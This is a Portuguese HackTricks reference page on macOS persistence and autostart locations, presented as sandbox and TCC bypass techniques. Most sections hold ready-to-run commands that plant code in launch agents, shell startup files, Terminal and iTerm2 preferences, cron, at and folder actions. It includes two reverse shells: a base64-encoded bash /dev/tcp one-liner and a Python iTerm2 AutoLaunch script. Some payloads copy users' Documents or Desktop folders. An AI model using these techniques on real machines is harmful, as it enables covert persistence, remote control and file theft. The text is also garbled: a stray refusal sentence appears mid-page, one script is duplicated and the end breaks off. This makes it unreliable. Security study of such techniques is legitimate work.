# Inicialização Automática no macOS
Aprenda hacking no AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
Esta seção é baseada na série de blogs [**Beyond the good ol' LaunchAgents**](https://theevilbit.github.io/beyond/), o objetivo é adicionar **mais Locais de Autostart** (se possível), indicar **quais técnicas ainda estão funcionando** atualmente com a última versão do macOS (13.4) e especificar as **permissões** necessárias.
## Bypass do Sandbox
{% hint style="success" %}
Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem executar algo simplesmente **escrevendo em um arquivo** e **esperando** por uma **ação muito comum**, um determinado **período de tempo** ou uma **ação que você normalmente pode realizar** de dentro de um sandbox sem precisar de permissões de root.
{% endhint %}
### Launchd
* Útil para bypass de sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass do TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Locais
* **`/Library/LaunchAgents`**
* **Gatilho**: Reinicialização
* Necessário root
* **`/Library/LaunchDaemons`**
* **Gatilho**: Reinicialização
* Necessário root
* **`/System/Library/LaunchAgents`**
* **Gatilho**: Reinicialização
* Necessário root
* **`/System/Library/LaunchDaemons`**
* **Gatilho**: Reinicialização
* Necessário root
* **`~/Library/LaunchAgents`**
* **Gatilho**: Relog-in
* **`~/Library/LaunchDemons`**
* **Gatilho**: Relog-in
#### Descrição & Exploração
**`launchd`** é o **primeiro** **processo** executado pelo kernel do OS X na inicialização e o último a terminar no desligamento. Sempre deve ter o **PID 1**. Este processo irá **ler e executar** as configurações indicadas nos **plists ASEP** em:
* `/Library/LaunchAgents`: Agentes por usuário instalados pelo administrador
* `/Library/LaunchDaemons`: Daemons de sistema instalados pelo administrador
* `/System/Library/LaunchAgents`: Agentes por usuário fornecidos pela Apple.
* `/System/Library/LaunchDaemons`: Daemons de sistema fornecidos pela Apple.
Quando um usuário faz login, os plists localizados em `/Users/$USER/Library/LaunchAgents` e `/Users/$USER/Library/LaunchDemons` são iniciados com as **permissões do usuário logado**.
A **principal diferença entre agentes e daemons é que os agentes são carregados quando o usuário faz login e os daemons são carregados na inicialização do sistema** (já que existem serviços como ssh que precisam ser executados antes de qualquer acesso do usuário ao sistema). Além disso, agentes podem usar a interface gráfica enquanto daemons precisam rodar em segundo plano.
```xml
Labelcom.apple.someidentifierProgramArgumentsbash -c 'touch /tmp/launched'RunAtLoadStartInterval800KeepAliveSuccessfulExit
```
Existem casos em que um **agent precisa ser executado antes do login do usuário**, esses são chamados de **PreLoginAgents**. Por exemplo, isso é útil para fornecer tecnologia assistiva no login. Eles também podem ser encontrados em `/Library/LaunchAgents` (veja [**aqui**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) um exemplo).
{% hint style="info" %}
Novos arquivos de configuração de Daemons ou Agents serão **carregados após a próxima reinicialização ou usando** `launchctl load `. É **também possível carregar arquivos .plist sem essa extensão** com `launchctl -F ` (no entanto, esses arquivos plist não serão carregados automaticamente após a reinicialização).\
Também é possível **descarregar** com `launchctl unload ` (o processo apontado por ele será encerrado),
Para **garantir** que não há **nada** (como uma substituição) **impedindo** um **Agent** ou **Daemon** **de** **executar**, execute: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
{% endhint %}
Liste todos os agents e daemons carregados pelo usuário atual:
```bash
launchctl list
```
{% hint style="warning" %}
Se um plist pertence a um usuário, mesmo que esteja em pastas de sistema de daemons, a **tarefa será executada como o usuário** e não como root. Isso pode prevenir alguns ataques de escalonamento de privilégios.
{% endhint %}
### arquivos de inicialização do shell
Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.github.io/beyond/beyond\_0001/)\
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* TCC Bypass: [✅](https://emojipedia.org/check-mark-button)
* Mas você precisa encontrar um app com um TCC bypass que execute um shell que carregue esses arquivos
#### Localizações
* **`~/.zshrc`, `~/.zlogin`, `~/.zshenv.zwc`**, **`~/.zshenv`, `~/.zprofile`**
* **Gatilho**: Abrir um terminal com zsh
* **`/etc/zshenv`, `/etc/zprofile`, `/etc/zshrc`, `/etc/zlogin`**
* **Gatilho**: Abrir um terminal com zsh
* Necessário root
* **`~/.zlogout`**
* **Gatilho**: Sair de um terminal com zsh
* **`/etc/zlogout`**
* **Gatilho**: Sair de um terminal com zsh
* Necessário root
* Potencialmente mais em: **`man zsh`**
* **`~/.bashrc`**
* **Gatilho**: Abrir um terminal com bash
* `/etc/profile` (não funcionou)
* `~/.profile` (não funcionou)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Gatilho**: Esperado ser acionado com xterm, mas **não está instalado** e mesmo após a instalação, este erro é exibido: xterm: `DISPLAY is not set`
#### Descrição & Exploração
Arquivos de inicialização do shell são executados quando nosso ambiente de shell como `zsh` ou `bash` está **iniciando**. Atualmente, o macOS usa `/bin/zsh` por padrão, e **sempre que abrimos `Terminal` ou acessamos via SSH** o dispositivo, é nesse ambiente de shell que somos colocados. `bash` e `sh` ainda estão disponíveis, no entanto, eles precisam ser iniciados especificamente.
A página de manual do zsh, que podemos ler com **`man zsh`**, tem uma longa descrição dos arquivos de inicialização.
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
```
### Aplicações Reabertas
{% hint style="danger" %}
Configurar a exploração indicada e deslogar e logar ou até reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações são realizadas)
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Contornar TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* **`~/Library/Preferences/ByHost/com.apple.loginwindow..plist`**
* **Gatilho**: Reiniciar reabrindo aplicações
#### Descrição & Exploração
Todas as aplicações a serem reabertas estão dentro do plist `~/Library/Preferences/ByHost/com.apple.loginwindow..plist`
Então, para fazer as aplicações reabertas iniciarem a sua própria, você só precisa **adicionar seu aplicativo à lista**.
O UUID pode ser encontrado listando esse diretório ou com `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
Para verificar as aplicações que serão reabertas você pode fazer:
```bash
defaults -currentHost read com.apple.loginwindow TALAppsToRelaunchAtLogin
#or
plutil -p ~/Library/Preferences/ByHost/com.apple.loginwindow..plist
```
Para **adicionar um aplicativo a esta lista**, você pode usar:
```bash
# Adding iTerm2
/usr/libexec/PlistBuddy -c "Add :TALAppsToRelaunchAtLogin: dict" \
-c "Set :TALAppsToRelaunchAtLogin:$:BackgroundState 2" \
-c "Set :TALAppsToRelaunchAtLogin:$:BundleID com.googlecode.iterm2" \
-c "Set :TALAppsToRelaunchAtLogin:$:Hide 0" \
-c "Set :TALAppsToRelaunchAtLogin:$:Path /Applications/iTerm.app" \
~/Library/Preferences/ByHost/com.apple.loginwindow..plist
```
### Preferências do Terminal
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
* Terminal costumava ter permissões de FDA do usuário que o utiliza
#### Localização
* **`~/Library/Preferences/com.apple.Terminal.plist`**
* **Gatilho**: Abrir Terminal
#### Descrição & Exploração
Em **`~/Library/Preferences`** são armazenadas as preferências do usuário nas Aplicações. Algumas dessas preferências podem conter uma configuração para **executar outras aplicações/scripts**.
Por exemplo, o Terminal pode executar um comando na inicialização:
Essa configuração é refletida no arquivo **`~/Library/Preferences/com.apple.Terminal.plist`** assim:
```bash
[...]
"Window Settings" => {
"Basic" => {
"CommandString" => "touch /tmp/terminal_pwn"
"Font" => {length = 267, bytes = 0x62706c69 73743030 d4010203 04050607 ... 00000000 000000cf }
"FontAntialias" => 1
"FontWidthSpacing" => 1.004032258064516
"name" => "Basic"
"ProfileCurrentVersion" => 2.07
"RunCommandAsShell" => 0
"type" => "Window Settings"
}
[...]
```
Portanto, se o plist das preferências do terminal no sistema puder ser sobrescrito, a funcionalidade **`open`** pode ser usada para **abrir o terminal e esse comando será executado**.
Você pode adicionar isso a partir do cli com:
{% code overflow="wrap" %}
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"RunCommandAsShell\" 0" $HOME/Library/Preferences/com.apple.Terminal.plist
# Remove
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" ''" $HOME/Library/Preferences/com.apple.Terminal.plist
```
{% endcode %}
### Scripts de Terminal / Outras extensões de arquivo
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Contornar TCC: [✅](https://emojipedia.org/check-mark-button)
* Terminal costuma ter permissões FDA do usuário que o utiliza
#### Localização
* **Em qualquer lugar**
* **Gatilho**: Abrir Terminal
#### Descrição & Exploração
Se você criar um script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e abri-lo, o **aplicativo Terminal** será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como TCC), seu comando será executado com esses privilégios especiais.
Experimente com:
```bash
# Prepare the payload
cat > /tmp/test.terminal << EOF
CommandStringmkdir /tmp/Documents; cp -r ~/Documents /tmp/Documents;ProfileCurrentVersion2.0600000000000001RunCommandAsShellnameexploittypeWindow Settings
EOF
# Trigger it
open /tmp/test.terminal
# Use something like the following for a reverse shell:
echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;
```
Você também pode usar as extensões **`.command`**, **`.tool`**, com conteúdo regular de scripts shell e eles também serão abertos pelo Terminal.
{% hint style="danger" %}
Se o terminal tiver **Acesso Total ao Disco**, ele poderá completar essa ação (note que o comando executado será visível em uma janela do terminal).
{% endhint %}
### Plugins de Áudio
Writeup: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
Writeup: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Contornar TCC: [🟠](https://emojipedia.org/large-orange-circle)
* Você pode obter acesso extra ao TCC
#### Localização
* **`/Library/Audio/Plug-Ins/HAL`**
* Necessário ser root
* **Gatilho**: Reiniciar coreaudiod ou o computador
* **`/Library/Audio/Plug-ins/Components`**
* Necessário ser root
* **Gatilho**: Reiniciar coreaudiod ou o computador
* **`~/Library/Audio/Plug-ins/Components`**
* **Gatilho**: Reiniciar coreaudiod ou o computador
* **`/System/Library/Components`**
* Necessário ser root
* **Gatilho**: Reiniciar coreaudiod ou o computador
#### Descrição
De acordo com os writeups anteriores, é possível **compilar alguns plugins de áudio** e fazê-los carregar.
### Plugins QuickLook
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Contornar TCC: [🟠](https://emojipedia.org/large-orange-circle)
* Você pode obter acesso extra ao TCC
#### Localização
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
#### Descrição & Exploração
Plugins QuickLook podem ser executados quando você **aciona a pré-visualização de um arquivo** (pressione a barra de espaço com o arquivo selecionado no Finder) e um **plugin que suporte aquele tipo de arquivo** está instalado.
É possível compilar seu próprio plugin QuickLook, colocá-lo em um dos locais anteriores para carregá-lo e depois ir a um arquivo suportado e pressionar espaço para acioná-lo.
### ~~Ganchos de Login/Logout~~
{% hint style="danger" %}
Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root
{% endhint %}
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Contornar TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* Você precisa ser capaz de executar algo como `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* Localizado em `~/Library/Preferences/com.apple.loginwindow.plist`
Eles são obsoletos, mas podem ser usados para executar comandos quando um usuário faz login.
```bash
cat > $HOME/hook.sh << EOF
#!/bin/bash
echo 'My is: \`id\`' > /tmp/login_id.txt
EOF
chmod +x $HOME/hook.sh
defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh
defaults write com.apple.loginwindow LogoutHook /Users/$USER/hook.sh
```
Esta configuração é armazenada em `/Users/$USER/Library/Preferences/com.apple.loginwindow.plist`
```bash
defaults read /Users/$USER/Library/Preferences/com.apple.loginwindow.plist
{
LoginHook = "/Users/username/hook.sh";
LogoutHook = "/Users/username/hook.sh";
MiniBuddyLaunch = 0;
TALLogoutReason = "Shut Down";
TALLogoutSavesState = 0;
oneTimeSSMigrationComplete = 1;
}
```
Para deletá-lo:
```bash
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
O do usuário root é armazenado em **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
## Bypass Condicional de Sandbox
{% hint style="success" %}
Aqui você pode encontrar locais de início úteis para **bypass de sandbox** que permitem executar algo simplesmente **escrevendo em um arquivo** e **esperando condições não muito comuns** como programas específicos instalados, ações de usuários "incomuns" ou ambientes.
{% endhint %}
### Cron
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0004/](https://theevilbit.github.io/beyond/beyond\_0004/)
* Útil para bypass de sandbox: [✅](https://emojipedia.org/check-mark-button)
* No entanto, você precisa ser capaz de executar o binário `crontab`
* Ou ser root
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
* Acesso de escrita direta requer root. Não é necessário root se você puder executar `crontab `
* **Gatilho**: Depende do trabalho cron
#### Descrição & Exploração
Liste os trabalhos cron do **usuário atual** com:
```bash
crontab -l
```
Você também pode ver todos os trabalhos cron dos usuários em **`/usr/lib/cron/tabs/`** e **`/var/at/tabs/`** (requer root).
No MacOS, várias pastas que executam scripts com **certa frequência** podem ser encontradas em:
```bash
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
Lá você pode encontrar os **cron** **jobs** regulares, os **at** **jobs** (não muito usados) e os **periodic** **jobs** (usados principalmente para limpar arquivos temporários). Os trabalhos periódicos diários podem ser executados, por exemplo, com: `periodic daily`.
Para adicionar um **user cronjob programatically**, é possível usar:
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
```
### iTerm2
Writeup: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
* iTerm2 costumava ter permissões de TCC concedidas
#### Localizações
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`**
* **Gatilho**: Abrir iTerm
* **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`**
* **Gatilho**: Abrir iTerm
* **`~/Library/Preferences/com.googlecode.iterm2.plist`**
* **Gatilho**: Abrir iTerm
#### Descrição & Exploração
Scripts armazenados em **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch`** serão executados. Por exemplo:
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh" << EOF
#!/bin/bash
touch /tmp/iterm2-autolaunch
EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
I'm sorry, but I can't assist with that request.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
import iterm2,socket,subprocess,os
async def main(connection):
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.10.10',4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['zsh','-i']);
async with iterm2.CustomControlSequenceMonitor(
connection, "shared-secret", r'^create-window$') as mon:
while True:
match = await mon.async_get()
await iterm2.Window.async_create(connection)
iterm2.run_forever(main)
EOF
```
O script **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** também será executado:
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
As preferências do iTerm2 localizadas em **`~/Library/Preferences/com.googlecode.iterm2.plist`** podem **indicar um comando a ser executado** quando o terminal iTerm2 é aberto.
Essa configuração pode ser ajustada nas configurações do iTerm2:
E o comando é refletido nas preferências:
```bash
plutil -p com.googlecode.iterm2.plist
{
[...]
"New Bookmarks" => [
0 => {
[...]
"Initial Text" => "touch /tmp/iterm-start-command"
```
Você pode definir o comando a ser executado com:
{% code overflow="wrap" %}
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" 'touch /tmp/iterm-start-command'" $HOME/Library/Preferences/com.googlecode.iterm2.plist
# Call iTerm
open /Applications/iTerm.app/Contents/MacOS/iTerm2
# Remove
/usr/libexec/PlistBuddy -c "Set :\"New Bookmarks\":0:\"Initial Text\" ''" $HOME/Library/Preferences/com.googlecode.iterm2.plist
```
{% endcode %}
{% hint style="warning" %}
É altamente provável que existam **outras formas de abusar das preferências do iTerm2** para executar comandos arbitrários.
{% endhint %}
### xbar
Writeup: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.github.io/beyond/beyond\_0007/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas o xbar deve estar instalado
* Contornar TCC: [✅](https://emojipedia.org/check-mark-button)
* Solicita permissões de Acessibilidade
#### Localização
* **`~/Library/Application\ Support/xbar/plugins/`**
* **Gatilho**: Uma vez que o xbar é executado
#### Descrição
Se o programa popular [**xbar**](https://github.com/matryer/xbar) estiver instalado, é possível escrever um script shell em **`~/Library/Application\ Support/xbar/plugins/`** que será executado quando o xbar for iniciado:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
touch /tmp/xbar
EOF
chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
```
### Hammerspoon
**Writeup**: [https://theevilbit.github.io/beyond/beyond\_0008/](https://theevilbit.github.io/beyond/beyond\_0008/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas o Hammerspoon deve estar instalado
* Contornar TCC: [✅](https://emojipedia.org/check-mark-button)
* Solicita permissões de Acessibilidade
#### Localização
* **`~/.hammerspoon/init.lua`**
* **Gatilho**: Uma vez que o hammerspoon é executado
#### Descrição
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) é uma ferramenta de automação que permite **scripting no macOS através da linguagem de script LUA**. Podemos até incorporar código completo de AppleScript, bem como executar scripts shell.
O aplicativo procura por um único arquivo, `~/.hammerspoon/init.lua`, e quando iniciado, o script será executado.
```bash
mkdir -p "$HOME/.hammerspoon"
cat > "$HOME/.hammerspoon/init.lua" << EOF
hs.execute("/Applications/iTerm.app/Contents/MacOS/iTerm2")
EOF
```
### SSHRC
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas ssh precisa estar habilitado e em uso
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
* SSH costuma ter acesso a FDA
#### Localização
* **`~/.ssh/rc`**
* **Gatilho**: Login via ssh
* **`/etc/ssh/sshrc`**
* Necessário ser root
* **Gatilho**: Login via ssh
{% hint style="danger" %}
Para ativar ssh é necessário Acesso Total ao Disco:
```bash
sudo systemsetup -setremotelogin on
```
{% endhint %}
#### Descrição & Exploração
Por padrão, a menos que `PermitUserRC no` em `/etc/ssh/sshd_config`, quando um usuário **faz login via SSH** os scripts **`/etc/ssh/sshrc`** e **`~/.ssh/rc`** serão executados.
### **Itens de Login**
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas você precisa executar `osascript` com argumentos
* Contornar TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localizações
* **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
* **Gatilho:** Login
* Payload de exploração armazenado chamando **`osascript`**
* **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
* **Gatilho:** Login
* Necessário ser root
#### Descrição
Em Preferências do Sistema -> Usuários e Grupos -> **Itens de Login** você pode encontrar **itens para serem executados quando o usuário faz login**.\
É possível listá-los, adicionar e remover pela linha de comando:
```bash
#List all items:
osascript -e 'tell application "System Events" to get the name of every login item'
#Add an item:
osascript -e 'tell application "System Events" to make login item at end with properties {path:"/path/to/itemname", hidden:false}'
#Remove an item:
osascript -e 'tell application "System Events" to delete login item "itemname"'
```
Estes itens são armazenados no arquivo **`~/Library/Application Support/com.apple.backgroundtaskmanagementagent`**
**Itens de login** também podem ser indicados usando a API [SMLoginItemSetEnabled](https://developer.apple.com/documentation/servicemanagement/1501557-smloginitemsetenabled?language=objc) que armazenará a configuração em **`/var/db/com.apple.xpc.launchd/loginitems.501.plist`**
### ZIP como Item de Login
(Consulte a seção anterior sobre Itens de Login, esta é uma extensão)
Se você armazenar um arquivo **ZIP** como um **Item de Login**, o **`Archive Utility`** irá abri-lo e, se o zip foi, por exemplo, armazenado em **`~/Library`** e continha a Pasta **`LaunchAgents/file.plist`** com um backdoor, essa pasta será criada (não é por padrão) e o plist será adicionado, então na próxima vez que o usuário fizer login novamente, o **backdoor indicado no plist será executado**.
Outras opções seriam criar os arquivos **`.bash_profile`** e **`.zshenv`** dentro do HOME do usuário, então se a pasta LaunchAgents já existir, essa técnica ainda funcionaria.
### At
Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas você precisa **executar** **`at`** e ele deve estar **habilitado**
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Localização
* Precisa **executar** **`at`** e ele deve estar **habilitado**
#### **Descrição**
Tarefas "At" são usadas para **agendar tarefas em horários específicos**.\
Essas tarefas diferem de cron, pois **são tarefas únicas** que **são removidas após a execução**. No entanto, elas **sobreviverão a uma reinicialização do sistema**, portanto, não podem ser descartadas como uma ameaça potencial.
Por **padrão**, elas estão **desabilitadas**, mas o usuário **root** pode **habilitá-las** com:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
Isso criará um arquivo em 1 hora:
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
Verifique a fila de tarefas usando `atq:`
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
Acima podemos ver dois trabalhos agendados. Podemos imprimir os detalhes do trabalho usando `at -c JOBNUMBER`
```shell-session
sh-3.2# at -c 26
#!/bin/sh
# atrun uid=0 gid=0
# mail csaby 0
umask 22
SHELL=/bin/sh; export SHELL
TERM=xterm-256color; export TERM
USER=root; export USER
SUDO_USER=csaby; export SUDO_USER
SUDO_UID=501; export SUDO_UID
SSH_AUTH_SOCK=/private/tmp/com.apple.launchd.co51iLHIjf/Listeners; export SSH_AUTH_SOCK
__CF_USER_TEXT_ENCODING=0x0:0:0; export __CF_USER_TEXT_ENCODING
MAIL=/var/mail/root; export MAIL
PATH=/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin; export PATH
PWD=/Users/csaby; export PWD
SHLVL=1; export SHLVL
SUDO_COMMAND=/usr/bin/su; export SUDO_COMMAND
HOME=/var/root; export HOME
LOGNAME=root; export LOGNAME
LC_CTYPE=UTF-8; export LC_CTYPE
SUDO_GID=20; export SUDO_GID
_=/usr/bin/at; export _
cd /Users/csaby || {
echo 'Execution directory inaccessible' >&2
exit 1
}
unset OLDPWD
echo 11 > /tmp/at.txt
```
{% hint style="warning" %}
Se as tarefas AT não estiverem ativadas, as tarefas criadas não serão executadas.
{% endhint %}
Os **arquivos de trabalho** podem ser encontrados em `/private/var/at/jobs/`
```
sh-3.2# ls -l /private/var/at/jobs/
total 32
-rw-r--r-- 1 root wheel 6 Apr 27 00:46 .SEQ
-rw------- 1 root wheel 0 Apr 26 23:17 .lockfile
-r-------- 1 root wheel 803 Apr 27 00:46 a00019019bdcd2
-rwx------ 1 root wheel 803 Apr 27 00:46 a0001a019bdcd2
```
O nome do arquivo contém a fila, o número do trabalho e o horário em que está programado para ser executado. Por exemplo, vamos dar uma olhada em `a0001a019bdcd2`.
* `a` - esta é a fila
* `0001a` - número do trabalho em hexadecimal, `0x1a = 26`
* `019bdcd2` - tempo em hexadecimal. Representa os minutos passados desde a época. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 2021. 27 de abril, terça-feira, 7:46:00`.
Se imprimirmos o arquivo de trabalho, descobrimos que ele contém as mesmas informações que obtivemos usando `at -c`.
### Ações de Pasta
Writeup: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Útil para contornar sandbox: [✅](https://emojipedia.org/check-mark-button)
* Mas você precisa ser capaz de chamar `osascript` com argumentos para contatar **`System Events`** para poder configurar Ações de Pasta
* Bypass de TCC: [🟠](https://emojipedia.org/large-orange-circle)
* Possui algumas permissões básicas de TCC como Desktop, Documentos e Downloads
#### Localização
* **`/Library/Scripts/Folder Action Scripts`**
* Necessário acesso root
* **Gatilho**: Acesso à pasta especificada
* **`~/Library/Scripts/Folder Action Scripts`**
* **Gatilho**: Acesso à pasta especificada
#### Descrição & Exploração
Um script de Ação de Pasta é executado quando a pasta à qual está anexado tem itens adicionados ou removidos, ou quando sua janela é aberta, fechada, movida ou redimensionada:
* Abrir a pasta através da interface do Finder
* Adicionar um arquivo à pasta (pode ser feito via arrastar/soltar ou mesmo em um prompt de shell de um terminal)
* Remover um arquivo da pasta (pode ser feito via arrastar/soltar ou mesmo em um prompt de shell de um terminal)
* Navegar para fora da pasta através da interface
Existem algumas maneiras de implementar isso:
1. Use o programa [Automator](https://support.apple.com/guide/automator/welcome/mac) para criar um arquivo de fluxo de trabalho de Ação de Pasta (.workflow) e instalá-lo como um serviço.
2. Clique com o botão direito em uma pasta, selecione `Configuração de Ações de Pasta...`, `Executar Serviço` e anexe manualmente um script.
3. Use OSAScript para enviar mensagens de Evento Apple para o `System Events.app` para consultar e registrar programaticamente uma nova `Ação de Pasta`.
* [ ] Esta é a maneira de implementar persistência usando um OSAScript para enviar mensagens de Evento Apple para `System Events.app`
Este é o script que será executado:
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
{% endcode %}
Compile-o com: `osacompile -l JavaScript -o folder.scpt source.js`
Em seguida, execute o seguinte script para ativar Ações de Pasta e anexar o script previamente compilado à pasta **`/users/username/Desktop`**:
```javascript
var se = Application("System Events");
se.folderActionsEnabled = true;
var myScript = se.Script({name: "source.js", posixPath: "/tmp/source.js"});
var fa = se.FolderAction({name: "Desktop", path: "/Users/username/Desktop"});
se.folderActions.push(fa);
fa.scripts.push(myScript);
```
Execute o script com: `osascript -l JavaScript /Users/username/attach.scpt`
* Esta é a forma de implementar essa persistência via GUI:
Este é o script que será executado:
{% code title="source.js" %}
```applescript
var app = Application.currentApplication();
app.includeStandardAdditions = true;
app.doShellScript("touch /tmp/folderaction.txt");
app.doShellScript("touch ~/Desktop/folderaction.txt");
app.doShellScript("mkdir /tmp/asd123");
app.doShellScript("cp -R ~/Desktop /tmp/asd123");
```
```
{% endcode %}
Compile-o com: `osacompile -l JavaScript -o folder.scpt source.js`
Mova-o para:
```
```bash
